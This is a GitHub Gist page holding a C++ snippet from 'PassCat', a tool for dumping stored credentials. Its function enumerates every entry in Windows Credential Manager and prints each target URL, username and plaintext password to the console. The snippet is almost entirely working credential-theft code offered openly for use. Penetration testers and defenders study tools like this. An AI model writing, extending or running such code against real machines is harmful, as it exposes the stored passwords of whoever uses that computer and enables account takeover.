Skip to content

Instantly share code, notes, and snippets.

@maldevel
Created September 7, 2018 17:57
Show Gist options
  • Save maldevel/5b10b59bb210099b1b465011c3d4d95c to your computer and use it in GitHub Desktop.
Save maldevel/5b10b59bb210099b1b465011c3d4d95c to your computer and use it in GitHub Desktop.
PassCat Reading Credential Manager passwords snippet
//https://github.com/twelvesec/passcat
//GNU General Public License v3.0
//@maldevel
//...
void libpasscat::cat_credmanager_passwords(void) {
DWORD count;
PCREDENTIALW *credentials;
if (!CredEnumerateW(NULL, CRED_ENUMERATE_ALL_CREDENTIALS, &count, &credentials)) {
return;
}
for (DWORD i = 0; i < count; ++i) {
DATA_BLOB DataIn;
DATA_BLOB DataOut;
if (credentials[i]->UserName != NULL && (credentials[i]->Type == CRED_TYPE_GENERIC || credentials[i]->Type == CRED_TYPE_DOMAIN_VISIBLE_PASSWORD)) {
if (credentials[i]->CredentialBlobSize < 200) {
std::wcout << "URL: " << credentials[i]->TargetName << std::endl;
std::wcout << "Username: " << credentials[i]->UserName << std::endl;
if (credentials[i]->CredentialBlobSize > 0) {
std::wcout << "Password: ";
for (DWORD j = 0; j < credentials[i]->CredentialBlobSize; j++) {
if (credentials[i]->CredentialBlob[j] != '\0') {
std::cout << credentials[i]->CredentialBlob[j];
}
}
std::wcout << std::endl;
}
}
std::wcout << std::endl;
}
}
CredFree(credentials);
}
//...
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment